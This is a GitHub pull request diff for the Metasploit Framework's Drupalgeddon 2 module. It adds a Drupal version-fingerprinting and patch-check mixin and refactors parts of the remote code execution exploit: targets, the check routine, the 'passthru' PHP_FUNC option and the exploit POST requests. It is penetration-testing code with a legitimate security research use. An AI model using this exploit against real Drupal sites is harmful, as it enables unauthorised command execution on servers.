-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Fix #9876, second round of Drupalgeddon 2 updates #9968
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
module Msf | ||
module Exploit::Remote::HTTP::Drupal | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']) | ||
]) | ||
end | ||
|
||
def setup | ||
super | ||
|
||
# Ensure we don't hit a redirect (e.g., /drupal -> /drupal/) | ||
# XXX: Naughty datastore modification instead of send_request_cgi! | ||
datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/') | ||
end | ||
|
||
def drupal_version | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
) | ||
|
||
return unless res && res.code == 200 | ||
|
||
# Check for an X-Generator header | ||
version = version_match(res.headers['X-Generator']) | ||
|
||
return version if version | ||
|
||
# Check for a <meta> tag | ||
generator = res.get_html_document.at( | ||
'//meta[@name = "Generator"]/@content' | ||
) | ||
|
||
return unless generator | ||
|
||
version_match(generator.value) | ||
end | ||
|
||
def drupal_changelog(version) | ||
return unless version && Gem::Version.correct?(version) | ||
|
||
uri = Gem::Version.new(version) < Gem::Version.new('8') ? | ||
normalize_uri(target_uri.path, 'CHANGELOG.txt') : | ||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => uri | ||
) | ||
|
||
return unless res && res.code == 200 | ||
|
||
res.body | ||
end | ||
|
||
def version_match(string) | ||
return unless string | ||
|
||
# Perl devs love me; Ruby devs hate me | ||
string =~ /^Drupal ([\d.]+)/ | ||
|
||
return unless $1 && Gem::Version.correct?($1) | ||
|
||
Gem::Version.new($1) | ||
end | ||
|
||
end | ||
end |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote | |
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Drupal | ||
# XXX: CmdStager can't handle badchars | ||
include Msf::Exploit::PhpEXE | ||
include Msf::Exploit::FileDropper | ||
|
@@ -44,7 +44,6 @@ def initialize(info = {}) | |
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Privileged' => false, | ||
'Payload' => {'BadChars' => '&>\''}, | ||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate | ||
'Targets' => [ | ||
# | ||
# Automatic targets (PHP, cmd/unix, native) | ||
|
@@ -75,25 +74,25 @@ def initialize(info = {}) | |
['Drupal 7.x (PHP In-Memory)', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Version' => Gem::Version.new('7.x'), | ||
'Version' => Gem::Version.new('7'), | ||
'Type' => :php_memory | ||
], | ||
['Drupal 7.x (PHP Dropper)', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Version' => Gem::Version.new('7.x'), | ||
'Version' => Gem::Version.new('7'), | ||
'Type' => :php_dropper | ||
], | ||
['Drupal 7.x (Unix In-Memory)', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Version' => Gem::Version.new('7.x'), | ||
'Version' => Gem::Version.new('7'), | ||
'Type' => :unix_memory | ||
], | ||
['Drupal 7.x (Linux Dropper)', | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Version' => Gem::Version.new('7.x'), | ||
'Version' => Gem::Version.new('7'), | ||
'Type' => :linux_dropper | ||
], | ||
# | ||
|
@@ -102,25 +101,25 @@ def initialize(info = {}) | |
['Drupal 8.x (PHP In-Memory)', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Version' => Gem::Version.new('8.x'), | ||
'Version' => Gem::Version.new('8'), | ||
'Type' => :php_memory | ||
], | ||
['Drupal 8.x (PHP Dropper)', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Version' => Gem::Version.new('8.x'), | ||
'Version' => Gem::Version.new('8'), | ||
'Type' => :php_dropper | ||
], | ||
['Drupal 8.x (Unix In-Memory)', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Version' => Gem::Version.new('8.x'), | ||
'Version' => Gem::Version.new('8'), | ||
'Type' => :unix_memory | ||
], | ||
['Drupal 8.x (Linux Dropper)', | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Version' => Gem::Version.new('8.x'), | ||
'Version' => Gem::Version.new('8'), | ||
'Type' => :linux_dropper | ||
] | ||
], | ||
|
@@ -129,7 +128,6 @@ def initialize(info = {}) | |
)) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), | ||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), | ||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) | ||
]) | ||
|
@@ -143,17 +141,25 @@ def initialize(info = {}) | |
def check | ||
checkcode = CheckCode::Safe | ||
|
||
if drupal_version | ||
@version = target['Version'] || drupal_version | ||
|
||
if @version | ||
print_status("Drupal #{@version} targeted at #{full_uri}") | ||
checkcode = CheckCode::Detected | ||
else | ||
print_error('Could not determine Drupal version to target') | ||
return CheckCode::Unknown | ||
end | ||
|
||
if drupal_unpatched? | ||
changelog = drupal_changelog(@version) | ||
|
||
if changelog && changelog.include?('SA-CORE-2018-002') | ||
print_warning('Drupal appears patched in CHANGELOG.txt') | ||
elsif changelog | ||
print_good('Drupal appears unpatched in CHANGELOG.txt') | ||
checkcode = CheckCode::Appears | ||
else | ||
print_error('Could not determine Drupal patch level') | ||
end | ||
|
||
token = random_crap | ||
|
@@ -167,10 +173,15 @@ def check | |
end | ||
|
||
def exploit | ||
unless check == CheckCode::Vulnerable || datastore['ForceExploit'] | ||
if check == CheckCode::Safe && datastore['ForceExploit'] == false | ||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') | ||
end | ||
|
||
unless @version | ||
print_warning('Targeting Drupal 7.x as a fallback') | ||
@version = Gem::Version.new('7') | ||
end | ||
|
||
if datastore['PAYLOAD'] == 'cmd/unix/generic' | ||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') | ||
# XXX: Naughty datastore modification | ||
|
@@ -282,9 +293,9 @@ def execute_command(cmd, opts = {}) | |
|
||
res = | ||
case @version.to_s | ||
when '7.x' | ||
when '7' | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This could be https://github.com/rapid7/metasploit-framework/pull/9968/files#r185957070 |
||
exploit_drupal7(func, cmd) | ||
when '8.x' | ||
when '8' | ||
exploit_drupal8(func, cmd) | ||
end | ||
|
||
|
@@ -300,72 +311,6 @@ def execute_command(cmd, opts = {}) | |
res | ||
end | ||
|
||
def drupal_version | ||
if target['Version'] | ||
@version = target['Version'] | ||
return @version | ||
end | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => target_uri.path | ||
) | ||
|
||
return unless res && res.code == 200 | ||
|
||
# Check for an X-Generator header | ||
@version = | ||
case res.headers['X-Generator'] | ||
when /Drupal 7/ | ||
Gem::Version.new('7.x') | ||
when /Drupal 8/ | ||
Gem::Version.new('8.x') | ||
end | ||
|
||
return @version if @version | ||
|
||
# Check for a <meta> tag | ||
generator = res.get_html_document.at( | ||
'//meta[@name = "Generator"]/@content' | ||
) | ||
|
||
return unless generator | ||
|
||
@version = | ||
case generator.value | ||
when /Drupal 7/ | ||
Gem::Version.new('7.x') | ||
when /Drupal 8/ | ||
Gem::Version.new('8.x') | ||
end | ||
end | ||
|
||
def drupal_unpatched? | ||
unpatched = true | ||
|
||
# Check for patch level in CHANGELOG.txt | ||
uri = | ||
case @version.to_s | ||
when '7.x' | ||
normalize_uri(target_uri.path, 'CHANGELOG.txt') | ||
when '8.x' | ||
normalize_uri(target_uri.path, 'core/CHANGELOG.txt') | ||
end | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => uri | ||
) | ||
|
||
return unless res && res.code == 200 | ||
|
||
if res.body.include?('SA-CORE-2018-002') | ||
unpatched = false | ||
end | ||
|
||
unpatched | ||
end | ||
|
||
def exploit_drupal7(func, code) | ||
vars_get = { | ||
'q' => 'user/password', | ||
|
@@ -381,7 +326,7 @@ def exploit_drupal7(func, code) | |
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => target_uri.path, | ||
'uri' => normalize_uri(target_uri.path), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Technically There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 💥 🌎 |
||
'vars_get' => vars_get, | ||
'vars_post' => vars_post | ||
) | ||
|
@@ -404,7 +349,7 @@ def exploit_drupal7(func, code) | |
|
||
send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => target_uri.path, | ||
'uri' => normalize_uri(target_uri.path), | ||
'vars_get' => vars_get, | ||
'vars_post' => vars_post | ||
) | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
AFAICT, this is only the major version, but I've included
.
in case that ever changes.